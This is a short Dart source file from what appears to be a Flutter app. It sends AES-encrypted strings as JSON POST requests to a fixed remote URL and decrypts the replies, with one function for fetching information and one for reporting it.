import 'dart:async';
import 'dart:convert';

import 'package:http/http.dart' as http;

import 'aes_decrypt.dart';

const String url =
    'https://www.heindoguy.com/y7uz9zi/jliocd/mp0urcnune/wmdls9ho';

Future<dynamic> remoteInfo(String info) async {
  final String request = AesDecrypt.encrypt(info);
  final Map<String, dynamic> requestInfo = <String, dynamic>{
    'request': request,
  };

  return postJson(url, requestInfo);
}

Future<dynamic> reportInfo(String info) async {
  final reportUrl = "${url}t";
  final String request = AesDecrypt.encrypt(info);
  final Map<String, dynamic> requestInfo = <String, dynamic>{
    'request': request,
  };

  return postJson(reportUrl, requestInfo);
}

Future<dynamic> postJson(
  String url,
  Map<String, dynamic> data, {
  int timeout = 8000,
}) async {
  http.Response res;

  try {
    res = await http
        .post(
          Uri.parse(url),
          headers: <String, String>{'Content-Type': 'application/json'},
          body: jsonEncode(data),
        )
        .timeout(Duration(milliseconds: timeout));
  } on TimeoutException {
    throw Exception('Request timeout');
  }

  if (res.statusCode < 200 || res.statusCode >= 300) {
    throw Exception('HTTP ${res.statusCode}');
  }

  final String rs = res.body;
  final String? jsonStr = AesDecrypt.decrypt(rs);

  if (jsonStr == null || jsonStr.isEmpty) {
    throw Exception('Decrypt failed');
  }

  return jsonDecode(jsonStr);
}
